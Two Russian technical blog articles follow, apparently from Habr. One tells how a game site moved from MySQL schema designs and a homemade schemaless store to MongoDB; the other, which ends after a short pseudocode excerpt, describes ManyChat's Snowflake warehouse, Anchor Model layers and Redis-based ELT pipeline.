Эта статья появилась на свет после прочтения материала [«Почему вы никогда не должны использовать MongoDB»](http://habrahabr.ru/post/231213/). Ниже — история о том, как мы постепенно отказались от MySQL и пришли к использованию MongoDB в качестве основного хранилища данных.
Началось все где-то в 2008 году, когда было принято решение писать вторую версию нашего сайта. Уже какое-то время нам хотелось создать мультиязычную версию базы данных по играм, околоигровым компаниям, персонажам и т.п., так как существующее решение, как нам казалось, морально устарело.
Первым делом были сформулированы:
Требования
==========
В основном это требования именно к базе данных.
Из существенных можно выделить:
Требование 1. Мультиязычные поля
--------------------------------
Каждая запись может иметь одно или несколько мультиязычных полей, содержащих как относительно короткие названия, так и длинные описания. Думали над разными вариантами:
### Вариант 1. Две таблицы на всю базу
```
create table name (
id int not null primary key,
table varchar(32) not null,
field varchar(32) not null,
object_id int not null,
name varchar(255) not null,
lang varchar(2) not null
)
create table description (
id int not null primary key,
table varchar(32) not null,
field varchar(32) not null,
object_id int not null,
description text,
lang varchar(2) not null,
)
```
Соответственно, если у игры (таблица game) есть мультиязычное имя name, альтернативное имя alt\_name и описание desc, то получилось бы, помимо самой игры, еще три записи на язык.
Пример записей в таблице name:
```
id | table | field | object_id | name | lang
---|-------|----------|-----------------------|-----
1 | game | name | $game_id | $name | en
2 | game | alt_name | $game_id | $alt_name | en
```
Пример записи в таблице description:
```
id | table | field | object_id | description | lang
---|-------|-------|-----------|-------------|-----
1 | game | desc | $game_id | $desc | en
```
Так же таблицы можно было бы объединить в одну, используя для хранения названий тип text, но мне это решение не нравилось; почему — уже не помню.
### Вариант 2. Для каждой основной таблицы — своя мультиязычная
Для той же таблицы игр получится примерно следующее:
```
create table game_i18n (
id int not null primary key,
game_id int not null,
name varchar(255) not null,
alt_name varchar(255) not null,
description text,
lang varchar(2) not null
)
```
Пример записи:
```
id | game_id | name | alt_name | desc | lang
---|----------|----------|--------------|----------|-----
1 | $game_id | $name | $alt_name | $desc | en
2 | $game_id | $name_ru | $alt_name_ru | $desc_ru | ru
```
### Вариант 3. Мультиязычные поля сохранять в виде json-массива в отдельном поле основной таблицы
```
create table game (
id int not null primary key,
...,
i18n text
)
```
Пример записи:
```
id | i18n
---|--------------------------------
1 | {'name':[{'lang':'en','value': $name}, {'lang':'ru','value':$name_ru}], 'alt_name': [...], 'desc': [...]}
```
Третий вариант — самый гибкий, но от него почти сразу отказались, так как нужны были сортировки и фильтрация по названиям, и для этого все равно пришлось бы делать что-то аналогичное варианту 1 или 2. Плюс, если нужно, скажем, удалить английское название у нескольких игр, это будет сложно сделать средствами самого SQL.
В итоге мы остановились на варианте 2. Против первого варианта было то, что у мультиязычных полей могут быть свои дополнительные поля. Например, в играх нужна возможность пометить одно из названий как главное, у других объектов может быть свой набор дополнительных полей, по которым, вполне возможно, еще и нужно будет фильтровать/сортировать. Не хотелось в итоге при выборе первого варианта через пару лет прийти вот к такому:
```
create table name (
id int not null primary key,
table varchar(32) not null,
field varchar(32) not null,
object_id int not null,
name varchar(255) not null,
lang varchar(2) not null,
field1 int,
field2 varchar(32),
...,
field9 datetime
)
```
И потом в коде вспоминать — что такое field3 у таблицы компаний. Кроме того, как-то некомфортно, создавая очередную таблицу с пятью записями, сваливать переводы в таблицу с миллионом записей. Впрочем, последнее во всей красе проявилось тут:
Требование 2. Связи
-------------------
Было желание иметь возможность связать любой объект из любой таблицы с любым другим объектом с сохранением направления связи.
Варианты примерно такие же, как в и первом требовании:
### Вариант 1. Одна таблица для всех связей базы
```
create table link (
id int not null primary key,
table1 varchar(32) not null,
object1_id int not null,
table2 varchar(32) not null,
object2_id int not null
)
```
Пример записей:
```
id | table1 | object1_id | table2 | obect2_id |
---|---------|------------|--------|-----------|
1 | game | $game_id | genre | $genre_id |
2 | game | $game_id | game | $game2_id |
3 | game | $game2_id | game | $game_id |
```
Записи #2 и #3 реализуют двунаправленную связь, запись #1 — однонаправленную от игры к жанру.
### Вариант 2. Для каждого типа связи своя таблица
К примеру, связи между похожими играми получились бы такими:
```
create table similar_games_link (
id int not null primary key,
game1_id int not null,
game2_id int not null
)
```
и так далее для каждого типа связи.
### Вариант 3. Храним связи в самом объекте в текстовом виде
```
create table game (
id int not null primary key,
...,
links text
)
```
Пример:
```
id | links |
---|----------------------------------|
1 | #game:$game2_id#genre:$genre_id# |
```
Тогда можно будет искать как-то так:
```
select id from game where links like '%#game:$game2_id#%'
```
### Вариант 4. Аналог варианта 3, но храним json
Пример:
```
id | links |
---|------------------------------------------------------------------------------------------|
1 | [{'table':'game', 'object_id': $game2_id}, {'table': 'genre', 'object_id': $genre_id}] |
```
### Варианты 5 и 6. Для каждого типа связи свое поле.
Вариация вариантов 3 и 4, но связи раскидываются по разным полям.
```
create table game (
id int not null primary key,
...,
similar text,
genres text
)
```
В итоге решили хранить все в одной таблице (удобно же), плюс, в отдельных случаях можно было бы дублировать информацию о связях в полях самого объекта (варианты с третьего по шестой). Плодить для каждого типа связи свою таблицу не хотелось, и помочь мог третий вариант. Конечно, делать links like '%#game:$game2\_id#%' — это ужасно, но я бы пережил. Отказались же от этого варианта потому, что удаление записей превращалось в нетривиальную задачу. Четвертый и шестой варианты сами по себе вообще бесполезны.
Требование 3. Объекты с разным набором полей в одной таблице
------------------------------------------------------------
Например, новости, статьи и видеоролики хочется хранить в одной таблице, так как, во-первых, их нужно показывать на сайте в общей ленте в хронологическом порядке, во-вторых, между этими типами записей много общего (название, дата создания/изменения, текст). Но между постами есть и отличия, назовем их метаданными. Скажем, для рецензий (один из подтипов статей) можно указывать оценки, по которым неплохо было бы иметь возможность сортировать, для видео указывается разрешение оригинального ролика, длительность, показан или нет игровой процесс и т.д. В зависимости от типа поста меняется и отображение на сайте.
Способы решения, как хранить метаданные, те же самые, что и выше. Создается одна таблица, в которой будут общие для всех типов записей поля. А далее вариантов немного. Можно хранить все метаданные прямо в тексте поста (или в отдельном текстовом поле) специальными тегами, как это сделано в Википедии, а при сохранении раскидывать по связанным вспомогательным таблицам. Можно сразу создать вспомогательные таблицы для каждого из типов поста и сохранять метаданные туда (этот вариант мы и выбрали, тем более что для разных типов постов все равно создавались разные формы редактирования в админке). Можно хранить метаданные в виде json или любом другом сериализованном виде (проблемы тоже все те же — сложность изменения таких сериализованных данных средствами SQL, плюс сортировки/фильтрации).
Требование 4. Сложные объекты
-----------------------------
Игра может быть выпущена на разных платформах и для каждой платформы может иметь разные издания. У релиза на платформе и у издания есть набор полей, совпадающий с самой игрой. Пример такого поля — «Название», так как, например, название издания для конкретной платформы может отличаться от каноничного названия игры. Также у платформы и издания есть набор полей, которых нет в самой игре, например, для платформы это будет собственно сама платформа, у издания — дата его релиза. Как все это хранить? В виде трех раздельных таблиц? По аналогии с тем, как решается хранение объектов с разным набором полей в требовании 3? Или хранить саму игру в виде одной записи, а все платформы и издания — в виде json в отдельном поле этой записи? И как такую радость редактировать? Делать три разные формы? У той же Pac-Man 27 платформ и более 30 изданий, редактирование такого монстра может превратиться в пытку. А как это показывать? Например, чтобы показать издание, придется для него загрузить платформу и саму игру, потому что, например, у издания может не быть своего названия. Тогда нужно смотреть общее название игры на платформе, а если там его нет, то смотреть название самой игры. При этом заранее прописать всем изданиям совпадающее название — тоже не здорово.
Предварительно я остановился почти на том же варианте, что и в требовании 3 — одна таблица для игр. Но, так как типов записей было всего три, то и различающиеся поля было решено хранить в той же таблице и не плодить таблицы для метаданных.
MySQL
=====
Определившись с требованиями и предварительными вариантами их решения, мы начали разрабатывать админку. И тут (впрочем, как и всегда) начались проблемы. Например, у компании может быть название и описание. Создаем одну таблицу company\_i18n с полями name и description. Пока все идет хорошо. В форме редактирования
HTML форма:
```
Название Описание
en: Bad Pixel [x] ru: Тут длинное описание на русском [x]
ru: ООО “Бед Пиксел” [x] [добавить описание]
[добавить название]
```
раздельно указывается свой набор названий на разных языках и свой набор описаний, но это не проблема — названия и описания при сохранении объединяются по языку и для каждого языка создается одна запись в company\_i18n.
Записи в company\_i18n после сохранения:
```
id | lang | name | description
---|------|------------------|--------------------------------
1 | en | Bad Pixel | NULL
2 | ru | ООО “Бед Пиксел” | Тут длинное описание на русском
```
Потом оказалось, что описаний на одном языке может быть несколько, а название должно быть строго одно для языка, и мы приходим к чему-то типа:
```
id | lang | name | description
---|------|------------------|------------
1 | en | Bad Pixel | NULL
2 | ru | ООО “Бед Пиксел” | Описание 1
3 | ru | NULL | Описание 2
```
Уже не очень хорошо выглядит, особенно если нужно удалить “Описание 2” с помощью SQL — нужно смотреть, есть ли название в поле name, и если оно есть, обновлять запись, а если нет, то удалять. Потом у названия компании появляется флаг “основное”, появляется поле для корпоративных названий, которых может быть несколько на одном языке (для разных периодов времени свое), и приходит понимание, что, похоже, придется хранить имена и описания в разных таблицах.
У связей между объектами почти сразу появилась сила связи. Это не было проблемой, проблемы начались, когда для разных типов связей появился свой набор дополнительных полей. Например, жанры могут быть связаны с другими жанрами и являться их поджанрами, и связь должна быть двунаправленной: в тегах одни теги являются персонажами из другого тега-вселенной, а у игр одна и та же компания может быть как разработчиком, так и издателем. И хотя проблему можно решить, добавив новые поля в таблицу link, но правильнее будет для отдельных типов связей создавать отдельные вспомогательные таблицы.
Я, конечно, понимаю, что жизнь — это боль, и разработчик (в частности) должен не забывать страдать, поэтому разработка медленно, но верно продолжалась, а вспомогательные таблицы появлялись с завидной регулярностью. Тем не менее, хотелось как-то автоматизировать процессы создания таких вот вспомогательных таблиц и сборки полного объекта из них. С такими мыслями в начале 2010 года я наткнулся на статью “[Как FriendFeed использует MySQL для хранения данных без схемы](http://habrahabr.ru/post/87147/)”.
MySQL и данные без схемы
========================
Идея сделать NoSQL поверх MySQL выглядит не так уж и безумно даже сейчас. На тот момент MySQL развивалась уже годами и являлась надежным решением для production, а специализированные NoSQL решения только начали появляться, и не хотелось, сделав выбор в пользу чего-то одного, через пару лет оказаться один на один с не поддерживаемым продуктом. Я думаю, те, кто, как и я в свое время, сделал ставку на prototype.js, меня поймут.
В то время MongoDB мы даже не рассматривали по разным причинам, в частности, ее пока не рекомендовали для production (первый production ready релиз был в конце первого квартала 2010-го). Я до сих пор сторонник такого подхода: использовать для проектов относительно устоявшиеся решения и по минимуму привлекать самописные аналоги. Но тогда устоявшихся решений еще не было (или казалось, что их нет), и для одного из своих сторонних проектов я написал что-то похожее на то, что было у FriendFeed. Поймите меня правильно: я этим не горжусь — идея сделать что-то свое может быть заманчивой ровно до тех пор, пока не придется это что-то поддерживать, фиксить «баги», оптимизировать, развивать функциональность, адаптировать к новым версиям языка/библиотек/используемых сервисов. Единственное, о чем я жалею — нужно было тогда скачать и пощупать «монгу», это дело получаса, максимум часа, а пользы — на годы. Собственно, это касается всех новых технологий: появляются они не просто так, и знание современных тенденций позволяет элементарно расширять кругозор.
Итак, была написана библиотека для работы с данными без схемы и хранением всего этого в MySQL.
**Краткое описание того, что получилось.**Объекты хранились в сериализованном виде в blob поле таблицы entity. Было введено дополнительное поле category (аналог таблиц в MySQL и коллекций в MongoDB), чтобы можно было разделять объекты, например игры, компании и т.п. (от варианта, когда, например, все сообщения хранятся в объекте темы, мы почти сразу отказались — для сообщений своя категория, для темы своя), плюс два поля — время создания и обновления объекта. Так как писалось все на Perl, то использовалась библиотека Storable для сериализации структур данных (обычно комбинация хэшей и массивов) из внутреннего представления в бинарный вид и обратно. В первую очередь это было сделано из-за скорости, в json данные конвертировались на порядок медленнее. Во вторую — из-за более компактного представления по сравнению с json.
В качестве id испольовался uuid, 16 байт которого кодировались с помощью base 64 в текстовую строку длиной 22 байта.
На любые изменения объекта можно было вешать “триггеры” — функции, которые изменяли как сам объект, так и другие объекты, связанные с текущим. Например, при написании комментария триггер может менять общее количество комментариев в объекте темы.
Так как по таблице entity никаких запросов (кроме как по первичному ключу и категории) делать было нельзя, были введены индексы — обычные MySQL таблицы, которые создавались на основании полей сохраняемого объекта.
```
CREATE TABLE IF NOT EXISTS `index_platform` (
`generation` int(10) unsigned NOT NULL,
`path_id` varchar(255) NOT NULL,
`entity_id` binary(22) NOT NULL,
KEY `generation` (`generation`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
```
В конфиге прописывалось:
```
$db->index(
'table' => 'index_platform',
'properties' => ['generation', 'path_id'],
'shard_on' => 'entity_id',
'categories' => ['platform'],
));
```
Тогда при сохранении объекта:
```
my $uuid = $db->put({
'generation' => 0,
'path_id' => 'pc',
'name' => [
{'lang' => 'en', 'value' => 'PC'}
]
});
```
В index\_platform автоматом создавалась запись:
```
generation | path_id | entity_id
-----------|---------|----------
0 | pc | $uuid
```
По этим индексам уже можно было делать выборки:
```
$db->resultset('index_platform')->search({
path_id => {'in' => ['pc', 'xbox']},
generation => {'in' => [0, 1]}
},
{
order_by => 'generation desc',
limit => 10,
page => 2,
join => 1 # с этим любые поля, содержащие первичный ключ из таблицы entity, превращались в объект, на который они ссылаются
})->all();
```
Альтернативный вариант того же самого запроса:
```
$db->resultset('index_platform')->search({
path_id => {'in' => ['pc', 'xbox']},
generation => {'in' => [0, 1]}
})->order_by('generation desc')->limit(10)->page(2)->join(1)->all();
```
Существовало только два типа взаимодействия с БД: это изменение самих объектов в таблице entity (включая удаление) и запросы к индексам как в примере выше. JOIN только программный.
При удалении объекта он только помечался как удаленный, физически не удаляясь из таблицы entity.
Примерно к середине 2010-го попробовали перейти на этот способ хранения данных.
Объекты теперь можно было сохранять вот в таком виде:
```
$company = {
'name' => [
{'lang' => 'ru', 'value' => 'ООО “Бед Пиксел”', 'is_primary' => true},
{'lang' => 'en', 'value' => 'Bad Pixel'},
],
'description' => [
{'lang' => 'ru', 'value' => 'Тут длинное описание на русском”'},
],
'link' => [
{'category' => 'tags', 'id' => $tag_uuid, 'degree' => 3},
{'category' => 'game', 'id' => $game_uuid, 'role' => 'developer'},
]
};
```
По полю name и link автоматически создавались записи в индексных таблицах index\_name и index\_link. Объекты могли быть любой сложности и вложенности, с разным набором полей для объекта из одной category. Приходилось по-прежнему создавать индексные таблицы, но стало гораздо проще. Если какого-то поля не хватало, достаточно было поменять код, а если по этому полю нужно было делать выборки — создавалась дополнительная индексная таблица или менялась существующая. Если какой-то индекс не устраивал, его можно было просто удалить и построить новый. В перспективе я хотел сделать создание таких индексных таблиц автоматически по описанию их структуры в коде.
У такого хранения данных (хранилища) наряду с плюсами были и существенные минусы.
Из плюсов можно было выделить:
* наличие транзакций (правда, для меня это было не так важно)
* существование [патча](http://yoshinorimatsunobu.blogspot.ru/2010/10/using-mysql-as-nosql-story-for.html) для mysql, который позволял обрабатывать до 750 тысяч чтений в секунду по первичному ключу
* масштабируемость — архитектура не мешала шардить данные по первичному ключу, при этом для приложения, работающего с хранилищем, ничего не менялось
* так как в качестве первичного ключа использовался uuid, можно было безболезненно проводить слияние сколь угодного количества баз без коллизий по первичному ключу
* генерация индексных таблиц налету
Основные минусы:
* нужно самостоятельно развивать и поддерживать код самого хранилища
* отсутствие поддержки для различных языков
* отсутствие атомарных операций над данными; чтобы сделать $company->{'link'}->[0]->{'degree'}++, нужно загружать объект в приложение, менять и сохранять обратно в базу
* невозможно одним запросом изменить несколько записей, только через map-функцию в стороннем приложении
* транзакции, масштабируемость, генерацию индексных таблиц нужно было еще реализовать
* отсутствие консоли
В процессе эксплуатации вылезали разные «баги» самого хранилица, из наиболее неприятных — зависимость алгоритма сериализации объектов в библиотеке Storable от операционной системы. Это решили переходом на хранение объектов в виде json со сжатием с помощью gzip. Кстати, именно во время исправления этого «бага» я четко осознал, что не важно, как хранятся сами объекты. Это может быть отдельная таблица в базе данных, а можно сохранять тупо в виде json файлов, назвав их по первичному ключу и раскидывая по подпапкам (впрочем, это лишает само приложение масштабируемости, будут возникать проблемы из-за race condition и т.п., хотя, с другой стороны, можно было бы попробовать Hadoop, но, откровенно говоря, это было бы уже лишним). Главное — иметь возможность для объектов создавать индексы, как это сделано, например, в поисковой системе Sphinx. Почему бы не воспринимать MySQL примерно так же, как и Sphinx? Почему бы хранение данных не представить в виде key-value хранилища, а для поиска, сортировки и выведения пользователю различных списков создавать подходящие для этого индексы в подходящих для этого сервисах? Конечно, если создается биллинг, то такой подход, мягко говоря, не очень оправдан, но web-приложения в основной своей массе менее требовательны к наличию того же ACID, а мучаться приходится почти так же, как и с биллингом.
Тем не менее, постепенно минусы при использовании самописного хранилища начали перевешивать, а также по-прежнему для каждого объекта нужно было рисовать свою форму в админке, одним словом — не было той универсальности, которой хотелось. Плюс ко всему на AG в 2012 году произошел ряд скорее политических событий, таких как смена владельца сайта, руководства и менеджмента, и было принято решение писать вторую версию на языке Python, поскольку программисты в новой компании писали именно на этом языке. Вариантов было два — либо текущее хранилище оформлять как standalone сервис, либо использовать какое-либо существующее key-value хранилище.
MongoDB
=======
Как бы вы себя чувствовали, если бы однажды оказалось, что кто-то создал аналог вашей библиотеки (ну или наоборот — вы создали некий аналог уже существующей библиотеки, не зная об этом), и этот аналог при сохранении существенных плюсов вашего решения еще и не обладал его минусами? Лично я порадовался. Великолепная консоль с полноценной поддержкой Javascript, атомарные операции, шардинг, автоматическое создание индексов по выбранным полям, библиотеки для основных языков программирования… На тот момент уже существовали фреймворки на Python, которые поддерживали MongoDB или были написаны специально под нее. И все это не нужно было ни поддерживать, ни развивать. Да вдобавок еще и api было похоже на api хранилища.
В результате, начав с нуля (уже в качестве Riot Pixels) разработку на Python в 2013 году, мы, правильно выбрав инструменты (одним из которых была MongoDB), за квартал сделали больше, чем раньше делали за два года. Еще одним из, как мне кажется, правильных решений был выбор админки, которая позволяла редактировать объекты любой вложенности, — из-за этого на ее разработку почти не тратилось времени.
Закончить хотелось бы вот чем. Наверное, неправильно противопоставлять MongoDB и MySQL, ибо для разных задач они подходят по-разному, и так уж получилось, что в этом проекте нам больше подошла MongoDB. Если вдруг такое случится и станет не хватать скорости или функциональности MongoDB — ничто не помешает использовать MySQL в качестве кэширующей прослойки / индекса для данных — один раз настроить и забыть. | https://habr.com/ru/post/232539/ | null | ru | null |
# Snowflake, Anchor Model, ELT и как с этим жить
Привет! Меня зовут Антон Поляков, и я разрабатываю аналитическое хранилище данных и ELT-процессы в [ManyChat](https://manychat.com/). В настоящий момент в мире больших данных существуют несколько основных игроков, на которых обращают внимание при выборе инструментария и подходов к работе аналитических систем. Сегодня я расскажу вам, как мы решили отклониться от скучных классических OLAP-решений в виде Vertica или Exasol и попробовать редкую, но очень привлекательную облачную DWaaS (Data Warehouse as a Service) Snowflake в качестве основы для нашего хранилища.
С самого начала перед нами встал вопрос о выборе инструментов для работы с БД и построении ELT-процессов. Мы не хотели использовать громоздкие и привычные всем готовые решения вроде Airflow или NiFi и пошли по пути тонкой кастомизации. Это был затяжной прыжок в неизвестность, который пока продолжается и вполне успешно.
Под катом я расскажу про архитектуру нашего аналитического хранилища и покажу, каким образом мы производим загрузку, обработку и трансформацию данных.
**Описание данных ManyChat
------------------------**
ManyChat — это платформа для общения компаний с клиентами через мессенджеры. Нашим продуктом пользуется более 1.8 млн бизнесов по всему миру, которые общаются c 1.5 млрд подписчиков.
Моя команда занимается разработкой хранилища и ELT-платформы для сбора и обработки всех доступных данных для последующей аналитики и принятия решений.
Большую часть данных мы получаем из собственного приложения: нажатия пользователями кнопок, попапов, события и изменения моделей бэкэнда (пользователя/подписчика/темплейтов/взаимодействия с нашим апи и десятки других). Также получаем информацию из логов и исторических данных из Postgres-баз.
Некоторые данные мы принимаем от внешних сервисов, взаимодействие с которыми происходит посредством вебхуков. Пока это [Intercom](https://habr.com/ru/company/manychat/blog/521384/) и Wistia, но список постепенно пополняется.
**### Данные для аналитиков**
Аналитики ManyChat для своей работы пользуются данными из слоя **DDS** (Data Distribution Storage / Service), где они хранятся в [шестой нормальной форме](https://ru.wikipedia.org/wiki/%D0%A8%D0%B5%D1%81%D1%82%D0%B0%D1%8F_%D0%BD%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D1%84%D0%BE%D1%80%D0%BC%D0%B0) (6 нф). По сути, аналитики хорошо осведомлены о структуре данных в Snowflake и сами выбирают способы объединения и обработки множеств с помощью SQL.
В своей ежедневной работе аналитики пишут запросы к десяткам таблиц разного размера, на обработку которых у СУБД уходит определенное время. За счет своей архитектуры Snowflake хорошо подходит для аналитики больших данных и работы со сложными SQL запросами. Приведу конкретные цифры:
* Размер больших таблиц — от 6 до 21 миллиарда строк;
* Среднее количество просканированных в одном аналитическом запросе микро-партиций — 1052;
* Отношение количества запросов с использованием SSD к запросам без использования локального диска — 48/52.
В таблице ниже приведена производительность реальных запросов за последний месяц в зависимости от количества используемых в них объектов. Все эти запросы были выполнены на кластере размера **S** (запросы от ELT-процессов в данных расчетах не участвовали).
**Все запросы**
| Объектов в запросе | Количество запросов | AVG Время выполнения (сек) | MED Время выполнения (сек) |
| --- | --- | --- | --- |
| 1 — 3 | 15149 | 33 | 1.27 |
| 4 — 10 | 3123 | 48 | 8 |
| 11 + | 729 | 188 | 38 |
Запросы, выполняемые быстрее, чем за 1 секунду, вынесены в отдельную группу. Это позволяет разделить запросы, использующие SSD (локальный кэш и сохраненные данные), от тех, которым приходится основную часть данных читать с медленных HDD.
**Запросы > 1 сек**
| Объектов в запросе | Количество запросов | AVG Время выполнения (сек) | MED Время выполнения (сек) |
| --- | --- | --- | --- |
| 1 — 3 | 5747 | 71 | 9 |
| 4 — 10 | 2301 | 61 | 15 |
| 11 + | 659 | 201 | 52 |
Увеличение количества объектов в запросе усложняет его процессинг.
В этом примере анализ запросов производился с помощью поиска названий существующих таблиц в SQL-коде запросов аналитиков. Таким образом мы находим приблизительное количество использованных объектов.
**### Anchor Model**
При раскладке данных в хранилище мы используем классическую якорную модель ([Anchor Model](https://en.wikipedia.org/wiki/Anchor_modeling)). Эта модель позволяет гибко реагировать на изменение уже хранимых или добавление новых данных. Также благодаря ей можно эффективнее сжимать данные и быстрее работать с ними.
Для примера, чтобы добавить новый атрибут к имеющейся сущности, достаточно создать еще одну таблицу и сообщить аналитикам о необходимости делать join'ы на нее.
Подробнее про Anchor Model, сущности, атрибуты и отношения вы можете почитать у Николая Голова aka @azazoth ([здесь](https://habr.com/ru/company/avito/blog/322510/) и [здесь](https://habr.com/ru/post/227111/)).
**Немного о Snowflake
-------------------**
*Размеры кластеров на примере цветных квадратов с текстом*
СУБД выделяет расчетные мощности on-demand, как и во многих других продуктах AWS. Бюджет расходуется только если вы используете предоставленные для расчетов мощности — тарифицируется каждая секунда работы кластера. То есть, при отсутствии запросов, вы тратите деньги только на хранение данных.
Для простых запросов можно использовать самый дешёвый кластер (warehouse). Для ELT-процессов, в зависимости от объема обрабатываемых данных, поднимаем подходящий по размеру кластер: XS / S / M / L / XL / 2XL / 3XL / 4XL – прямо как размеры одежды. После загрузки и / или обработки выключаем его, дабы не тратить деньги. Время выключения кластера можно настраивать: от «тушим сразу, как закончили расчет запроса» до «никогда не выключать».
*Выделяемое на каждый размер кластера железо и цена за секунду работы*
Подробнее про кластеры Snowflake читайте [тут](https://docs.snowflake.com/en/user-guide/warehouses-overview.html#overview-of-warehouses). А так же в [последней статье](https://habr.com/ru/company/oleg-bunin/blog/514298/) Николая Голова.
В настоящий момент ManyСhat использует 9 различных кластеров:
* 2 X-Small – для ELT процессов с маленькими наборами данных до миллиарда записей.
* 4 Small – для запросов из Tableau и ELT процессов, требующих больших join'ов и тяжелых расчетов, например, заполнение строкового атрибута. Также этот кластер используется для работы аналитиков по умолчанию.
* 1 Medium – для материализации данных (View Materialization).
* 1 Large – для работы с данными больших объемов.
* 1 X-Large – для единоразовой загрузки / правки огромных исторических данных.
Объем наших данных в Snowflake составляет приблизительно 11 Тбайт. Объем данных без сжатия — около 55 Тбайт (фактор сжатия х5).
**### Особенности Snowflake**
**#### Архитектура**
Все кластеры в системе работают изолированно. Архитектура решения Snowflake представляется тремя слоями:
1. Слой хранилища данных
2. Слой обработки запросов
3. Сервисный слой аутентификации, метаданных и др.
*Иллюстрация архитектуры Snowflake*
Snowflake работает с «горячими» и «холодными» данными. «Холодными» считаются данные, лежащие в S3 на обычных HDD (Remote Disk). При запросе они дольше считываются и загружаются в быстрые SSD отдельно для каждого кластера. Пока кластер работает, данные доступны на локальном SSD (Local Disk), что ускоряет запросы в несколько раз по сравнению с работой на «холодную».
Помимо этого, существует общий для всех кластеров кэш результата запроса (Result Cache) за последние 24 часа. Если данные за это время не изменились, при повторном запуске одного и того же запроса на любом из кластеров они не будут считаны повторно. Подробнее можно почитать [тут](https://docs.snowflake.com/en/user-guide/intro-key-concepts.html).
**#### Микро-партиции**
Одной из интересных фичей Snowflake является работа с динамическими микро-партициями. Обычно в базах данных используются статические, но в ряде случаев, например, при перекосе данных (data skew), данные между партициями распределяются неравномерно что усложняет / замедляет обработку запросов.
В Snowflake все таблицы хранятся в очень маленьких партициях, содержащих от 50 до 500 Мбайт данных без сжатия. СУБД хранит в метаданных информацию обо всех строках в каждой микро-партиции, включая:
* диапазон значений каждой колонки партиции;
* количество уникальных (distinct) значений;
* дополнительные параметры.
Такой подход позволяет работать с невероятно большими таблицами, содержащими миллионы и сотни миллионов микро-партиций. Благодаря этому, запросы взаимодействуют только с теми данными, которые удовлетворяют условиям. Подробности и нюансы партиционирования данных в Snowflake можно изучить [тут](https://docs.snowflake.com/en/user-guide/tables-clustering-micropartitions.html).
**ELT Pipelines
-------------**
Потоки данных и слои их хранения и обработки в ManyChat выглядят примерно так:
Данные поступают в DWH из нескольких источников:
* **PHP-бэкенд** – события и изменения моделей данных;
* **Внешние API** – Intercom, Wistia, FaceBook и другие;
* **ManyChat Frontend** – события с фронтенда;
* **WebHooks** – сервисы, отдающие данные через вебхуки.
Давайте рассмотрим, как устроена эта схема, на примере события из бэкенда:
1. PHP-бэкенд отправляет событие о создании нового аккаунта в ManyChat.
2. Redis принимает данные и складывает в очередь.
3. Отдельный python-процесс вычитывает эту очередь и сохраняет данные во временный JSON, загружая его в последующем в Snowflake.
4. В Snowflake, с помощью python-ELT-процессов, мы прогоняем данные по всем необходимым слоям и, в итоге, раскладываем в Анкор-Модель.
5. Аналитики используют **DDS** и **SNP**-слои с данными для сборки агрегированных витрин данных в слой **DMA**.
Аббревиатуры слоёв **SA\*** расшифровываются как Staging Area for (Archive/Loading/Extract)
* **SNP** – слой для хранения агрегированных исторических данных из бэкэнд баз данных.
* **SAE** – слой для хранения сырых данных из Redis в виде одной колонки типа variant.
* **SAA** – слой для хранения обогащенных данных из Redis с добавлением служебных колонок с датами и id загрузки.
* **SAL** – более детальный слой данных с типизированными колонками. Таблицы в нем хранят только актуальные данные, при каждом запуске скрипта загрузки производится `truncate table`.
* **DDS** – 6 нф для хранения данных в виде «1 колонка SAL ⇒ 1 таблица DDS».
* **DMA** – аналитический слой, в котором хранятся вьюхи, материализации и исследования аналитиков на базе DDS.
**Статистика по объектам в схемах**
| Схема | Количество объектов | Количество представлений | AVG строк (млн) | AVG объём GB |
| --- | --- | --- | --- | --- |
| SNP | 3337 | 2 | 2 | 0.2 |
| SAA | 52 | 2 | 590 | 60 |
| SAL | 124 | 121 | 25 | 2.2 |
| DDS | 954 | 6 | 164 | 2.5 |
| DMA | 57 | 290 | 746 | 15 |
Используя 6 нф, **DDS** позволяет хранить достаточно большие объемы данных очень компактно. Все связи между сущностями осуществляются через целочисленные суррогатные ключи, которые отлично жмутся и очень быстро обрабатываются даже самым слабым **XS**-кластером.
**SAA** занимает более 80% объема хранилища из-за неструктурированных данных типа variant (сырой JSON). Раз в месяц SAA-слой скидывает данные в историческую схему.
В настоящий момент мы храним более 11 Тбайт данных в Snowflake с фактором сжатия х5, ежедневно получая сотни миллионов новых строк. Но это только начало пути, и мы планируем увеличивать количество источников, а значит и поступающих данных кратно год к году.
**Redis
-----**
В ManyChat активно используется Redis, и наш проект не стал исключением: он является шиной для обмена данными. Для быстрого и безболезненного старта в качестве языка написания ELT-движка был выбран python, а для хранения логов и статистики — Postgres. Redis выступает в нашей архитектуре местом для временного хранения поступающей информации от всех источников. Данные в Redis хранятся в виде списка (List) JSON'ов.
*Структура хранения данных в Redis*
В каждом списке могут находится от 1 до N разнообразных моделей данных. Модели объединяются в списки методом дедукции. Например, все клики пользователей в независимости от источника кладутся в один список, но могут иметь разные модели данных (список полей).
Ключами для списков в Redis являются придуманные названия, которые описывают находящиеся в нем модели.
Пример некоторых названий списков и моделей в нем:
* **EmailEvent** (события происходящие с почтой)
+ email
+ email\_package\_reduce
* **SubscriberEvent** (при создании или изменении подписчика, он появляется в этой очереди)
+ subscriber
* **ModelEvent** (модели данных из бэкэнда и их события)
+ account\_user
+ pro\_subscription
+ wallet\_top\_up
+ И еще 100500 разных моделей
* **StaticDictionaries**
+ Статичные словари из бэкенда. Информация о добавлении или изменении элемента словаря.
Весь ELT построен на python и использовании multiprocessing. Железо для всего ELT в ManyChat работает в AWS на [m5.2xlarge инстансе](https://aws.amazon.com/ec2/instance-types/m5/#Product_details):
* 32 Гбайт RAM
* Xeon® Platinum 8175M CPU @ 2.50GHz
**Первый подход
-------------**
Первым подходом к построению ELT-процесса для нас стала простая загрузка данных, выполняющаяся в несколько шагов в одном скрипте по cron'у.
*Каждая очередь в Redis вычитывается своим собственным лоадером, запускаемым по расписанию в cron.*
Первым этапом на рисунке выше является загрузка данных из очереди Redis в JSON-файл командой `lpop()`. Они вычитываются поэлементно из Redis, из каждой строки (словаря из JSON) снимается статистика по наполнению элементов словаря и затем записывается в Postgres. В этом же цикле данные записываются построчно в JSON-файл.
*Лоадеры для загрузки данных. Названия лоадеров совпадают с названиями загружаемых очередей.*
Псевдокод цикла считывания данных из Redis в JSON:
```
batch_size = 1000000 # Количество элементов для считывания из очереди Redis
with open(json_file) as f:
while batch_size > 0:
row = redis.lpop('Model')
save_statistics(row)
batch_size -= 1
f.write(row)
```
